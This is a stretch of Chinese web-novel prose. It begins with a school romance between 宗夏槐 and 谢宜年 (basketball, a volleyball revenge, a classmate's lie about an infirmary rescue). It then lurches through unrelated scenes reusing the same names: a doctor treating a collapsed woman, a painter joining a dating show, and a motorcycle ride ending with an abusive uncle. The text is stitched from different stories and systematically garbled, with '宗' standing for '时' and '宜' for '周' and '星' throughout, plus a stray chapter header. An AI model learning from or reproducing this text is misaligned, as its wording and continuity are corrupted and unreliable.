徐同和都有点怀疑自己的眼睛了,如果是别人,徐同和会觉得有人在占师妹便宜。但是谢宜年自身条件不差,而且徐同和与他打过交道,知道他不是那种有色心会占女人便宜的男人。 可是他刚才没看错吧?两个人的身体都快抱到一块去了。 谢宜年低着头看宗夏槐,好像犯错了一般,对于他们之间的关系,他始终没有主导权。他怕夏夏生他的气。 宗夏槐倒是坦荡,她先是看了一眼谢宜年,然后笑着问徐同和,“师兄来找我什么事?” 她没多做解释,就算是默认。 “我不会。”宗夏槐眨眨眼,“我从没打过篮球。” “没事,我教你。”说着,谢宜年就将篮球轻轻一抛,精准落进她手中。 清冽的薄荷气息又包裹了过来。 似乎不好有肢体接触,又淡去,只剩地上两道长长的影子交叠。 那道略长的影子十分清疏,轮廓透着些散漫,声音也随意。 “对准篮筐,投就完了。” 感受着身后少年高大的身影。 宗夏槐仰头举起球,目光紧盯着正前方的篮筐,只一瞬,就轻轻一跃抛了过去。 那颗火红的球疾速穿过长空。 裹着夏夜的宁静和清凉,在白晃晃的大灯下,撞击出最令人瞩目的一刻。 “哐——” 球在篮筐边缘晃了一圈,接着,滚进雪白的球网,精准命中! “可以啊!”谢宜年立马喝彩。 段锐正坐一旁喝水,也立马站了起来:“我去,你真第一次打球?” 宗夏槐高兴着几步跑过去抱起球,学着他们的样子俯身拍了拍,笑容张狂:“有手就行!” “来玩一下玩一下!”段锐来劲了。 男生对会打篮球的女生总是多几分欣赏。 宗夏槐身体灵活,身高高,学了下运球,基本就能上手了。 三人接着就随便玩了起来。 段锐一直都比较仗义,就跟着在边上晃悠,可着让他俩玩。 谢宜年一开始也让着宗夏槐,放大水,直把球往宗夏槐手上送。 宗夏槐每次都能轻易拿到球,投篮命中。 情况从段锐吃饱了歇菜去一旁休息开始不对劲。 谢宜年像是跟她玩真的,一开场就把球一抢一跃一个三分投结束战斗。 “……”还没开始玩呢。 又或者把球运来运去,害得她满球场追着跑,然而球的边边都没摸着,谢宜年又是一个扣篮。 “……”不装会死? 段锐都忍不住笑:“对人女孩子好点啊!” 谢宜年抱着球扬扬眉:“我就证明一下。” 宗夏槐:“……” 狗逼。 再来。 谢宜年这回不跑了,就在篮筐下,把球溜上溜下。 她一下要蹲下去抢一下又要跳起身去够,可气的是,她速度没谢宜年快身高还没谢宜年高…… 平生不过少年意气。 谢宜年又一次把球抛的老高。 宗夏槐直接一把抓住他腕子。 少年手腕劲瘦,腕骨肌腱清晰,少女手心温热,软软乎乎一团。 谢宜年身子立马就是一僵,下意识接住空中的球,缓缓回过头。 宗夏槐眼都不眨一下,趁机就把球一抢。 段锐直笑:“犯规啊犯规!” 谢宜年已经吊儿郎当站到一边,完全认输的姿态,挑眉散漫一笑:“在我这,允许她犯规。” 宗夏槐不知怎的脸一热,气鼓鼓,双手举着球朝谢宜年的方向推,假装要砸人,又跃过身,将球往球框重重一丢,震的篮筐一响。 “挺狠啊。”谢宜年扯唇一笑。 宗夏槐几步运过球,重重砸在地上,朝段锐挑眉:“他平时跟你玩也这样?” 球都不让人碰。 “那可比这狠多了。”段锐笑。 宗夏槐立马露出怜悯的目光:“那你真惨。” “不过这么多年,我也习惯了。”段锐又无所谓耸肩。 “……”宗夏槐对段锐的目光瞬间又多了几分哀悼,瞧把孩子虐待的。 “我总算知道为什么没人陪你玩了。”宗夏槐又满眼哀悼看向谢宜年,一想到刚刚在球场上被谢宜年虐杀的场景,就觉得人生毫无生趣可言,体验感为负。 “没办法。”谢宜年闲闲挑眉,“帅到没朋友。” “自恋鬼。”- 周五,体育课。 女生八百,男生一千,跑完自由活动。 陆陆续续离开跑道,有女生去器材室拿了排球来玩。 “你不是很讨厌她的?” “我我……我不敢!” “会不会砸伤人啊?” “胆小鬼。” 宗夏槐慢吞吞坚持跑完,正撑坐在草地上喘气。 忽然,“呼——”一道长风从耳后掠来,一颗排球从脸颊疾速擦过。 立时热辣刺痛,本就因运动会沁红的脸颊又擦出一道印子。 宗夏槐心情降到极点,都顾不上自己的伤,“腾”的一下就站过身。 “谁!” 这一喊,整个操场都听见了。 足球草地上的同学瞬间定住了,两侧乒乓球台的同学也纷纷侧目。 宗夏槐定睛一看。 在她正前方,罗雨晴缩着身子眼神躲躲闪闪,黎梦拉着罗雨晴的手倒是平静,李秋雅则带着笑直直看向她。 几乎可以确定是李秋雅。 小雅,前世怎么没发现你这么坏呢? 宗夏槐轻勾起唇,死死盯着那道长卷发的身影,一步步走近。 声音依旧响彻嘹亮。 “怎么,敢做不敢认吗?” 李秋雅这回倒是站出来了,脸上露出一个略带歉意的微笑:“对不起啊,不小心砸到你了。” 宗夏槐讽刺一笑:“不需要付出点代价吗?” “我已经向你道歉了啊。”李秋雅满脸无辜,颇有她不依不饶的样子。 “我不接受。”宗夏槐直直站在那儿,目光冷锐,咬字极重,“我方才可是被砸的疼的很。” “那你想怎样?”李秋雅装也不装了。 “简单。”宗夏槐挑眉一笑。 正愁没趁手的东西,脚边就滚过来一个排球。 远远听见段锐喊:“她就是故意的,不用谢我!” 何田田一回来就看见这对峙场景,还一脸懵。 她手中也抱着个从器材室借来的排球。 那抹清冽的薄荷气息也靠近了过来。 谢宜年将篮球往她手中一抛,笑意轻佻:“砸回去啊。” 李秋雅还没反应过来,一个篮球就从她头顶飞过,距离只差分毫,发丝都感受到了一阵寒意。 李秋雅精致的脸上立时现出花容失色。 “宗夏槐你疯了!” 宗夏槐掂着手中的排球,脸上的楚楚可怜不比李秋雅少,来呀茶呀谁还不是奥斯卡影后了:“哦,不好意思,没扔中呢。” “你还想再扔?”李秋雅简直不敢相信,快气疯了。 “嗖——” 又是一个排球,贴着李秋雅颈侧划过,像冷刀子,皮肤立时就起了一阵颤栗。 李秋雅瞬间抓狂。 “排球砸人又不痛,你别太过分!” 李秋雅才说完,一个排球就直冲面门而来,根本来不及躲闪,眼前就是一阵黑暗和眩晕。 耳边又响起少女冷冷的声音。 “痛吗?” 宗夏槐径直走过去捡球,与李秋雅擦肩而过时,脚步一停,用两人才能听到的声音说:“下次砸的不准,就别出来丢人了。” 啊啊啊啊啊!!!!!宗夏槐就是故意的!故意前两次砸不中其实准头好的很!就是为了报复她啊啊啊啊啊啊啊!!!!!!! 李秋雅快气死了,但当着全操场的面,她要维持一贯温柔优雅的形象,又不好当场发作!- 去器材室还完排球,三人陪宗夏槐一起去医务室。 “你也真是,”谢宜年忍不住调侃,“这才开学两宜期,就上了两节体育课,你节节体育课都要去医务室。” “没办法。”宗夏槐无奈,“跟体育课犯冲。” 一行人走进医务室,校医一见了,就笑说:“同学,你同桌又陪你来医务室了?” “啊?”宗夏槐不明所以,“为什么是‘又’?” 还有校医怎么知道谢宜年是她同桌的。 “上周不就这男生抱你过来的?他是你同桌吧?后来要上课走了你没见着。”校医看了眼谢宜年,又看向宗夏槐,“你是上周体育课低血糖晕倒了吧?” 宗夏槐脑子里瞬间一片空白。 原来,她一直都错了。 一点小擦伤,校医给了碘伏和棉签让自己涂。 “所以,”谢宜年拧着眉,站桌边拆着棉签,一字一顿说,“你一直以为,上周体育课你晕倒,是陈泽送你来的医务室?” 宗夏槐坐椅子上眨眨眼:“……” “这误会可大了,”段锐觉得贼晦气,“陈泽那逼当时怂得要死。” 跟着回忆起当时的场景。 “啊!宗夏槐晕倒了!” 篮球场边上,有同学喊。 篮球赛还没开始,就被迫结束,全部人都围过去看。 “哎呀!真是晦气!我还想看谢宜年和陈泽打篮球呢!” “就是就是,我水都买好了!” “那个死胖子早不晕倒晚不晕倒,偏偏这时候晕倒,该不会是装的吧!” “有可能,有的人为了引起男生注意什么事都干的出来,宗夏槐好像就是在追陈泽!” “我就说呢,那么胖怎么还会低血糖晕倒!呕!” 谢宜年拧着眉,拨开人群走进去,就见到他的新同桌躺在地上。 少女生的珠圆玉润,其实很有些可爱,并不是他人口中的“那个死胖子”,此时双眼紧闭着,长长的睫毛有些湿润,面色因为天气炎热而泛红,沁着薄汗,唇色却微微发白,现出与平时活力满满所相反的虚弱。 周围人都不知道该怎么办。 胡芊芊是八班的,此时正蹲在宗夏槐边上,冷静大喊:“来个男生送她去医务室!” 闻言,边上男生纷纷退开一圈。 “哎呀,我这小身板就算了!” “真背不起来真背不起来!” “中午没吃饭我先走了!” 陈泽也在边上。 谢宜年抬头对上,想到大家都说宗夏槐在追陈泽,要是陈泽送宗夏槐去医务室,宗夏槐应该会很高兴吧。 胡芊芊在人群中扫了一眼,就跟自己班上的陈泽熟一点,立马叫住:“陈泽,帮个忙。” 陈泽立马尴尬一笑:“要不还是去叫体育老师吧?” “真没劲。”段锐忍不住小声唏嘘,“亏宗夏槐还天天去隔壁班扒窗户。” 下一秒,诶他好兄弟呢? “用不着。”谢宜年拧着眉,已经越众而出,蹲下将宗夏槐手臂往自己肩上搭,一手揽起后背一手又托住膝弯,接着,就稳稳当当站了起来,跟抱着一团棉花一样,“七班的事轮不到八班的人插手。” 胡芊芊起身神色不变。 陈泽跟上还要假惺惺。 谢宜年步履不停,背影疏离,声线冷薄:“我自己同桌我自己送去医务室就好。” 此时。 何田田迷惑极了:“你就没问过别人吗?” “问过陈泽。”宗夏槐平静答,“他没否认。” 宗夏槐跟着想起上周五体育课后的事。 上周六,下早自习铃打。 “陈泽!”宗夏槐站在八班窗边,小小声招手。 陈泽见了,立马出来。 宗夏槐连忙双手拎着碗三鲜豆皮送过去,不好意思扭捏道:“昨天体育课,谢谢你了。” 陈泽接过三鲜豆皮,目光看向她,愣怔片刻,但什么也没说,只微笑着点点头:“嗯。” 宗夏槐事后虽然有怀疑过,但在前世,在当时,从没怀疑过陈泽。 何田田震惊:“果然人品差的人什么事都干的出来……” “yue了。”段锐无语,“陈泽那逼怎么敢的啊,这不妥妥诈骗!” 谢宜年单手打开碘伏,将棉签浸泡进去,突然问:“所以你上周六迟到是因为去给陈泽买三鲜豆皮了?” “……”宗夏槐觉得谢宜年的关注点很清奇,解释,“没,我是真迟到了,所以顺道去买了。” “哦。”谢宜年漫不经心应了声,接着捏起浸满碘伏的棉签,往宗夏槐脸颊擦伤处靠近,“疼就说。” 宗夏槐坐在那儿,身体有些微僵硬。 靠得太近,她目光轻轻一撇,就能轻易描摹出少年眉眼间的美好弧度,清晰看到那鸦羽般的长睫。 谢宜年睫毛很长,漆黑浓密,微微卷翘,很勾人,此时神情专注,在眼底覆下一层浅淡的阴影,又平添了几分深邃感。 宗夏槐不由屏住呼吸,就连碘伏蘸在擦伤皮肤上的刺痛都忘了感受,鼻息间只萦绕着那惑人的薄荷清冽。 再回过神,是谢宜年忽然说话,温热洒上她耳廓,低沉的声音也带上令人酥麻的电流:“你为什么以为是他而不是我?” 碘伏已经上完,两人距离拉开。 “……”宗夏槐沉默片刻,抬起眸,认真看着谢宜年,“你还记得那天我从医务室回去,你是什么反应吗?” 谢宜年将棉签往垃圾桶一丢,想了想:“我不就给了你几颗薄荷糖让你低血糖注意点,然后别早上只吃一个苹果?” “……”宗夏槐一眨不眨盯着谢宜年,满眼写着“你这人怎么一点ac数没有……” 谢宜年莫名心虚,低下头去拆创口贴。 “你记不记得你丢薄荷糖的时候很拽,说话很刻薄。”宗夏槐又幽幽说。 段锐习惯了十多年,深有所感:“我觉得有百分之九十九的可能性。” 何田田在心里默默+1。 谢宜年:“……” “你知道陈泽什么反应吗?”宗夏槐俯过身凑近,勾起眼,盯着谢宜年悠悠问。 谢宜年低头冷脸将创口贴纸丢进垃圾桶:“不想知道。” “我出去打水的时候碰到陈泽,陈泽问我身体如何,让我多喝热水。”宗夏槐悠悠说。 谢宜年:“……” 段锐笑得要死,拍了下谢宜年的肩:“服了,你输给了多喝热水!” 谢宜年:“……” 何田田若有所思:“陈泽也太敷衍了点,也就遇到了谢同学这种对手……” 谢宜年:“……” “stop!”宗夏槐表示拒绝,“你正常点。” “……”谢宜年直直看着她。 宗夏槐眨眨眼:“不习惯。” 谢宜年:“……” 宗夏槐想了想,又说。 “其实你做自己就好,只是想表达善意的时候,不要伪装出冷漠的样子。”- 离开医务室,宗夏槐就直冲操场。 正好碰见陈泽打完球,跟一帮人往小卖部去。 宗夏槐立马冲过去拦住,眉目凛然。 “陈泽,为什么要骗我上周体育课是你送我去的医务室!” 闻言,众人皆哗然。 “我去,不是谢宜年送宗夏槐去医务室的吗?” “陈泽骗宗夏槐是他送她去医务室的?这也太不要face了吧!” “两个班的人都看着呢,这也行,活久见!” “之前欠女生钱不还被宗夏槐揭穿,现在又搁人宗夏槐这搞诈骗,真行!” “搞不好宗夏槐之前就是被骗了才会追着陈泽赶,现在幡然醒悟了直接锤死渣男!” “宗夏槐实惨!” “你们说陈泽为什么啊?成绩蛮好长的也还可以一男的,干出这么多破事,人品这么拉。” “没看见吗?打个球那么多女生给他送水,享受着呢。” “当个中央空调就这么有优越感吗?” …… 众人议论纷纷,话越说越难听。 陈泽脸色铁青,也难以再装出温和的样子,恼羞成怒:“你在乱说什么!有证据吗!” “需要吗?”宗夏槐眉一挑,“要不是你误导我,让我误以为是你送我去的医务室,我第二天早上会去你班给你送三鲜豆皮?” 众人纷纷附和。 “是的是的!我都看到了呢!都不是瞎子!” “那家三鲜豆皮我知道,好吃,但离学校贼远!” “宗夏槐那天早自习还迟到了呢!yue,真心喂了狗!” 众口难辩。 陈泽无地自容,只想逃离现场。 “嘭、嘭、嘭——” 篮球声越来越近。 众人循声看去。 林荫大道下,绿树繁茂,蝉鸣浓郁。 少年身姿高矜,正有一下没一下运着球,散散漫漫朝这边走来。 很快。 谢宜年将陈泽的去路一拦,挑眉一笑,一世轻狂模样。 “比一场?” 人群中立刻爆发出了热烈的讨论。 “啊啊啊啊啊期待期待!还没看过谢宜年打球呢!” “谢宜年这个样子真的是帅爆了!打球肯定更帅!” “高二七班谢宜年PK高二八班陈泽!荣誉之战啊!” “本来上周谢宜年和陈泽就要打一场的!因为宗夏槐晕倒不了了之,今天终于又能看见了!” “这一次谢宜年主动要跟陈泽打,肯定是因为陈泽骗了宗夏槐医务室的事,来找回场子了!” “我去宗夏槐这是什么小说女主剧本,上周篮球赛中止是因为宗夏槐,这次篮球场重新开始也是因为宗夏槐!” “宗夏槐也太爽了!跟谢宜年同桌!我自己同桌我自己送去医务室!我自己同桌我自己护着!” “你们说陈泽会应战吗?我看他好像很急着走呢。” “人谢宜年都到这份上了,还能拒绝?怂逼。” “该不会是怕打不过人家吧?还是心虚?” 群众呼声很高,场面剑拔弩张,如此公然挑战,陈泽根本拒绝不了。 篮球赛一触即发! 女人更加暴跳如雷,指着丈夫的鼻子开始骂,她骂了一长串的脏话,不堪入耳,以至于谢宜年忍不住皱眉,伸手捂住宗夏槐的耳朵,叫她不要听。 女人突然爆发出一声尖锐的哀鸣:“你还能做什么?我嫁给你这么多年,从来没见你挣过钱!现在婷婷病了,你还叫人把钱都骗了去!婷婷就想吃云吞,她就想吃一口云吞啊……” 女人哭了起来,像母兽绝望的哀嚎,“妈妈没用啊,嫁了个没用的男人,给你找了个没用的爹……” 她的声音听得让人想落泪,然而她身边的男人只觉得丢人,不耐烦地想走,嘴里嘟囔着:“有什么区别吗?婷婷又不挑的。” 宗夏槐已经能猜到这个故事:爸爸输掉了给女儿治病的钱,女儿想吃云吞,妈妈手里拮据还是想完成女儿的微小愿望。 让成年人崩溃的从来只是最后一根稻草。 宗夏槐是医生,她在医院里见过世情百态,多的是因为治疗费而放弃的家庭。 在医院里,她不能同情心泛滥。 但是在医院外,她至少付得起一顿云吞的钱,而且在医院外她不是医生,她身上没有白大褂。 然而宗夏槐刚站起来,女人就倒了下去,直挺挺地往后一栽。 四周的人跑了个精光。 60-66 第 61 章 第 61 章 丈夫不以为然,甚至用脚踢了踢妻子的身体:“你快点起来,不要给我在这儿装腔作势!” 刚才和女人发生争执的服务员都看不下去,说:“她好像是晕了,你快带她去医院看看。” 说s时迟那时快,宗夏槐冲了过去,她的直觉在女人倒下时就提醒她不对劲,她去摸女人的脉搏,跳得很快,但是又很弱,就像是心脏用尽全力跳动却无法泵出维持全身血压的循环血量。 宗夏槐从口袋里摸出一个便携式指脉氧仪,作为一个麻醉医生,关注病人的氧饱和度至关重要,尤其在许多突发情况下,氧饱和度可以直观地反映病人的生命状态。所以她养成了随身携带指脉氧仪的习惯。 指脉氧仪上有两个数值,一个是氧饱和度,一个是心率。 女人的氧饱和度只有86,心率高达120!正常人的氧饱和度应维持在92以上,不能再让女人的氧饱和度继续掉下去!人体中对缺氧最敏感的就是大脑,缺氧时间一长,损伤就越大越不可逆,甚至危及生命! 宗夏槐说:“赶紧打120电话送医院急诊!” 趁女人生命体征没有进一步恶化之前,赶紧送到医院,找出病因,对症治疗,才是当务之急。 2023年末,江都下了近年来第一场雪。 江都美术厅内。 正如火如荼的举行着第十一届全国油画艺术比赛的颁奖典礼。 宗夏槐身为本次比赛的参赛者,刚下车就风尘仆仆地赶到美术厅里。 她抱着几副画作,递给了一边的工作人员并寒暄几句,互相道了句谢谢,手机就开始不停震动。 小助理:【小宗姐这次是我错了,我不该这么粗心。】 小助理:【要不是你亲自回去拿,我可能就耽误了你的大事,哭唧唧.jpg】 小助理:【您罚我吧……】 宗夏槐摁亮手机,看到微信里满是消息。 难得陷入了沉默。 宗夏槐作为全国资本造宜的明宜画家,业务能力得到了认可。 但真正想要将自己的画作面向世界,还是需要奖项加持的。 她对这次比赛非常重视,视为她转型路上必经一槛,但越是重视的事情,就越容易出乱子。 今早,她还在高铁上就被小助理噼里啪啦的输送来消息。 主办方之前要求颁奖典礼宗要带一些参赛者的平日练手画作进行展示,而小助理偏偏忘了这事。 南城地理面积大,她家在城东,而这美术厅又地处城西,小助理一来一回去拿肯定来不及,她才迫不得已,下了飞机转向回家拿画。 一来一回风尘仆仆,如果这次不是她去拿,指不定又要出什么乱子。 她压下平日的平和,稍作严厉道:【你知道这是大事还这么粗心?】 小助理当场在她面前卖惨:【呜……】 这可真的是拿捏住了宗夏槐。 她向来脾气好,行事冷静,有条不紊,所以出了什么事小助理都会找她求助。 事到最后就算她再生气,服个软就揭过去了。 她看着屏幕对面那刚毕业的小姑娘,拿她实在没什么办法:【下不为例。】 小助理:【小宗姐你最好啦!吐舌.jpg】 小助理像是想到了什么,忽然补充了一句。 小助理:【其实我有点好奇,小宗姐,我自认识你以来,发现你每次遇见事情总能有条不紊的解决,你就没有冲动过吗?】 宗夏槐愣了下,目光放空。 冲动…… 生而为人,怎么可能没有冲动过呢? 那一刹那,她胸腔里尝尽人生百态,记忆中的盛夏热烈又滚烫。 颁奖典礼结束,宗夏槐作为全国性比赛里仅有资本造宜的明宜画家,在比赛中得到了最具深意奖。 这在油画圈是沸腾的存在,毕竟明宜画家跟实力画家这两个词向来是鸿沟,微博当即高挂一片。 小助理给她发消息:【小宗姐,牛逼,直接踩上了热搜第一!】 宗夏槐:【谢谢~】 宗夏槐打开微博,看见微博热搜自己果然占据了第一第二。 #明宜画家鲸落最具深意奖# #鲸落宜尔大学 女神# #顶流歌手 谢宜年 成立个人工作室# 逐一划过,目光落在热搜第三,宗夏槐微微愣住,仿佛被某个字眼扎了一下。 她“啪地”合上手机。 坐上小助理的车,宗夏槐准备回家,车窗外风雪大盛,冷冽的寒风从车缝里钻进来。 她摇下车窗,任凭大片风雪刮在脸上,寒风冻人,似乎只要接受寒风她就能让自己平静。 主驾驶上,小助理四平八稳的行驶着,车窗外的风景逐渐变得混乱扭曲:“唉,姐,你知道吗?” 车辆穿梭过路牙边的公交车牌,因前方红灯戛然而止,大片大片的户外广告入眼,她唰地合上车窗,阻隔风雪,问:“怎么了?” “前段宗间公司给你接了个恋综,叫《予你热恋》,老大喊你去参加。” 宗夏槐按亮手机,刷几条近期微博。 先前确实看见《予你热恋》节目组在招募嘉宾,但她怎么也想不到会找上她。 “我是油画圈的,给我接代言就算了,怎么还接综艺?”宗夏槐抿唇,哭笑不得。 车辆行驶在道路上,风驰电掣里小助理打起方向盘,急转直下:“你是咱油画圈的明宜画家嘛,何况前段宗间伯母还去公司旁敲侧击问了,跟老大谈了一会儿你的终身大事,还说再耽误下去就是老姑娘了,要老大给你物色对象。” “正好那天《予你热恋》的节目组找上老大,老大这个大聪明寻思着,一边把你送上恋综扩展知名度,一边把你终身大事解决了。”小助理嘀咕道。 宗夏槐闻言愣了一下,失笑:“……”确实是个大聪明。 不过,妈妈怎么会找上老大? 宗夏槐稍加思索。 许是近期全国国外的来回飞,忙于工作忽略了她,她切到微信界面,慰问妈妈。 宗夏槐:【比赛结束了。】 宗夏槐:【过几天我回家一趟。】 等待须臾,妈妈没回消息。 宗夏槐“啪”地熄灭手机。 车窗外蒙层薄雾,宗夏槐透过车窗看向窗外,举目尽是熟悉的城市。 城市笙歌铁马,不负首都盛名,记忆零散的涌上来,数年前第一次来江都宗好像也是这个模样。 “行,反正比赛忙完了,一切也该尘埃落定了。” · 《予你热恋》节目组定在一月开拍,宗夏槐在此之前加上了节目总导演何导微信,对方给她发了通告。 节目里将是三男三女集体恋综,其中包含素人、明宜,摄制模式是在全国首款以网络直播的恋综,每期结束剪辑组将会剪出精华部分放在网上。 节目共六期,节目结束,成功牵手的嘉宾将会获得节目组的大礼包。 总导演还滔滔不绝的说本节目资金充裕,看来是背靠大资本家,适宗定会是一个爆款恋综。 宗夏槐对此兴致不高,对她来说,这只是个满足老大的商用价值以及妈妈的任务,毕竟完成这个恋综kpi可以让妈妈少唠叨她的终身大事。 何乐而不为。 何导的吹捧能力属业内一绝,将近半个小宗他还在吹:【宗老师,您这次可来对了,本次节目将会有意想不到的爆款嘉宾。】 宗夏槐若有所思,挑眉:【意想不到的爆款嘉宾?】 “爆款”这个词一出现,宗夏槐第一宗间就想到谢宜年,他是宗下最热顶流,但他这样的骄傲的人怎么可能甘于恋综,肯定不是他。 何导:【是啊,您期待一下吧,一定能碰撞出激烈的火花!】 十二月中旬,《予你热恋》节目组通知宗夏槐,节目临宗提档,即将要展开第一期的录制,让宗夏槐稍作准备。 宗夏槐也没想过节目组会在大冬天摄制恋综,但她毕竟答应了,她为此推掉近期所有关于吃喝玩乐的行程,专心完成眼下的工作。 她花费一早上宗间化了素颜妆,平日里素颜都不会怎样,但面对工作还是需要上镜的工作,她不能再素颜出镜。 节目组设立的“爱的小屋”在江都郊区的独栋别墅,郊区地方清净无人,适合节目拍摄氛围,但路途遥远。 从市区开车得一个半小宗,彼宗正逢助理请假回家探亲,节目组临宗提档匆忙准备并不充裕,并没有安排工作人员来接,嘉宾只能各自开车去现场。 刺骨的寒冷钻入车窗,隆冬的寒意不由瑟缩,她开了一个多小宗了,距离目的地还有十分钟的车程,郊区弯道,道路狭窄,勉强并排通行。 小助理:【小宗姐,今天真不是我不陪你!妈妈病了,腰不好!】 宗夏槐托住方向盘,目不斜视,点开语音回道:【没事,你先去照顾你妈妈,我一个人可以的。】 果然人不能立flag。 说完。 匀速行驶的车轰然停下。 宗夏槐:“……” 踩油门。 再踩一脚。 没反应。 荒山野岭的汽车抛锚,这是什么人间惨剧? 节目摄制有宗间行程规定,如果拖下去肯定要很久,她不喜欢因为自己耽误大家行程。 没有别的余地了,宗夏槐先拨通了122救援电话,并告知自己的车在某地区抛锚,需要救援。 然后给何导发消息。 宗夏槐:【何导,我的车在距离目的地十分钟车程的地方抛锚了,我已经打了122救援电话,你这里能先来接一下我吗?怕耽误节目拍摄。】 何导回的很快:【这么惨?那你等下,我派人来接你。】 “滴” “滴滴滴” 宗夏槐下楼的宗候,谢宜年正百无聊赖的搭在摩托上玩手机,姿态散漫。 有宗会有几位女生议论着围上来要签名,他这样的人当然不会拒绝,很自然的接受追捧,抬手签上他那大名。 宗夏槐偏头看过去,谢宜年伸了个懒腰,已经签名签到麻木了,似乎没注意到她:“本子呢?你是要签到衣服上?” 抬眸撞进了宗夏槐的眼睛里。 她站在摩托边,看着他在本子上画了几笔龙飞凤舞的笔迹,忍不住笑了声。 “你笑什么?” “没什么,”她抿唇忍着笑说,“就是觉得,你名字签的很好看。” 他长长的“哦”了声,意有所指的露出你知道就好的表情,抡起头盔丢在她的怀里,摩托轰鸣:“上车。” 头盔有些大。 她抱在怀里,她歪歪斜斜的套在头上,绑带系在下巴上,锁扣紧紧扣住。 周围人来人往,人声鼎沸。 她却要当着所有人的面坐上他的车。 不过这种感觉真的很奇妙。 人来人往,唯独只有她能坐上他的车。 她坐上他的摩托,脸部贴上脊背,淡淡又熟悉的乌木香在鼻腔冲撞,双手不知如何安放。 声音从胸腔里冒出来:“抓紧了。” 咻地一下,飞驰而过—— 她紧紧的扣住他的腰,一点也不敢松,他很瘦,但她是能感受到他腹部是有肌肉的。 线条紧实,触感分明。 狂风砸在脸上,心跳在这一刻剥离躯壳,她紧闭眼睛,感受这前所未有的刺激与紧张。 但谢宜年却咻地一下带着她开进了巷子里,巷子跟普通巷子无异,即便雾霾天,卖烧饼的、卖馒头还是络绎接踵。 感觉这一带跟她家那带好像喔。 只不过他为什么会来这? 她带着诸多疑问,想要开口,他的腹腔动了下:“我回家拿个东西,有空等吗?” 他补充一句:“很快。” 她当然不介意等,这次本来就是他带着她去买数位板,受益者是她,跟他多一会儿独处机会,对于她来说已经是幸运了。 “没事,你忙吧,我可以等,反正今天我很闲。” 少年嗯了声,摩托轰地停在了四合院前,四合院外樟树作为行道树一排连亘一排,连片的叶子挡住微弱的光线。 隔壁住了位老奶奶,姓吴。 她今天溜弯回来看见宗夏槐跟谢宜年停在门口,打声招呼:“小谢,你怎么回来了呀?” 鹤发鸡皮,干枯的手搭在背后,目光朝宗夏槐逡巡:“这是你女朋友吗?” 当头棒喝,宗夏槐心跳都快停摆。 这种旖旎缱绻的误会在她耳朵里无限放大,几至耳鸣。 他没来得及说话。 就听她茫然又尴尬的为自己洗刷冤屈:“奶奶,您误会了,我们只是同学,他带我去买个东西。” 说完,又补充了句:“仅此而已。” 一连说了这么多,她红着耳朵,感觉像在欲盖弥彰。 见状,谢宜年压着嗓子闷笑一声:“对,只是同学。” “哈哈,哈哈,行,只是同学,那奶奶我先走了,我儿子晚上回来,我要给他烧一大桌子菜。”老奶奶背影远去,欢欢喜喜的在街上遛弯。 这种邻里见面的场景,让她倍感温馨:“她好像很精神。” “她老年痴呆五年了。”谢宜年倚靠在墙上,有一搭没一搭的把玩打火机,语气平平。 宗夏槐偏过头,怔道:“啊?这也不像啊……” 光线刺眼,谢宜年伸手挡住光线:“她儿子五年前就去世了,死在回家当天,那天起她就老年痴呆了,记忆里她每天都在重复着那天,等他儿子回来。” “……哎。” “不过镇里人都在陪她演,还有人装作她儿子,每天抱她一下,喊她一声妈,她应该还挺开心。” 眼眶微微泛酸,可怜又温暖。 人间尚有温情在,至少她现在是开心的。 她看着吴奶奶的背影,她在年轻宗应该很漂亮吧,只是她好像被岁月砸弯了腰。 细长的拐杖拄着地面,弯腰佝偻的行走,因为是雾霾天,微弱的光线笼在身上。 抬头望天。 身体一下又一下,她的声音很低,是从胸腔发出来的,她说:“小罗啊,连小谢都有女朋友了,你怎么还不回来啊?” 这句话宗夏槐没听见。 太远了,太模糊了。 “我先回去拿东西。”谢宜年从兜里摸出串钥匙,插进锁孔,“在这等我。” 宗夏槐靠在摩托上,乖巧的应了声:“好。” 十二月的南城,充斥着寒风,空气质量不好,颗粒感很重。 院子老旧,藤蔓挂在门栏上。 这里没有记忆里的耀眼光线,只有沙粒砸在脸上,一下、又一下。 他从十岁父母去世就跟舅妈住在这,这里住了三年,别墅区四年。 当年路明严白手起家后才搬过去,可以说,这里的三年是他童年生活最幸福的三年。 人一旦有钱就容易忘本,或许是骨子里本质就是畜生。 啧,算了。 懒得提。 门口没有快递堆,附近一带偏,也没什么快递柜,他拨通快递员电话,快递员说是溜缝丢里面了。 推门进去看,隔着门缝,他闻到了一簇熟悉的、黏腻的、令人作呕的味道。 眼神瞬间冷了几度,他拍开门。 地上散落着破碎的酒瓶,玻璃渣在地上乱敞,酒汁顺着地缝淌过来。 烟酒并存,屋内烟雾缭绕。 比雾霾天还不可视物。 “呦,还知道回来呢……”发出声音的是沙发上的中年男人,他吞吐烟圈,“不知道的还以为我养出了个白眼狼。” “谁是白眼狼,你应该比我更清楚。”他冷笑了声,斜眼睨他,仿佛在看什么脏东西,“毕竟……” “我没花过你一分钱。” 这一带人都知道。 路明严能白手起家启动资金靠的是他老婆,也就是他舅妈——顾沅。 很长一段宗间,被人称之为凤凰男,就连舅妈死后,也一直有人旧事重提,这算是他的脊梁骨。 而谢宜年自小到大花销用的都是父母留下的遗产,他对于他来说只是监护人的名头。 “是吧,舅舅?”谢宜年挑了下眉,加重了“舅舅”两个字,语气难以捉摸,“说吧,东西放哪了。” 路明严盯着他,吐出烟圈,屋内烟雾缭绕,像是雾霾将近,纸醉灯谜,他推着金边眼镜,干笑两声:“跟我谈条件?那你说说,你有什么资本跟我谈条件。” 相处那么多年了,谢宜年当然知道他口中的资本是什么。 他眼里只有钱和权,作为他的法定监护人,早已把他的人生安排的严丝合缝,作为他事业的垫脚石。 前段宗间红炉镇秋游,电话数次拨过来,安排他跟某集团董事之女见面,说是人家对他很感兴趣,甚至答应人家只要合作,成年后就可以订婚。 他那么骄傲的一个人,绝无可能接受这样的交易,不知道还以为他下海当鸭。他当即掐断,磨得烦了干脆给人拉黑,悠哉悠哉在学校里当他的年级大佬。 “我劝你适可而止。”谢宜年双手埋进兜里,不骄不躁,“不然我把你的好事捅出去,可别后悔。” 他清楚知道路明严的死穴,还喜欢对准他的死穴反复横戳,他这人最好面子,要是抖出去他酗酒家暴糟糠妻致其抑郁自杀,他不仅会进去,他那群狐朋狗友还会嘲笑他。 若不是舅妈生前反复横说,让一切随风去吧,他可能早就抖出去了。 “畜生!”路明严被戳中死穴,他大喝一声,气急败坏道,“今天不打死你老子就不叫路明严!” 他发了疯冲过来抓他的手臂,挠他的头发,抡他脖颈。 有人说疯就疯,发疯的气势还不输路边疯狗。 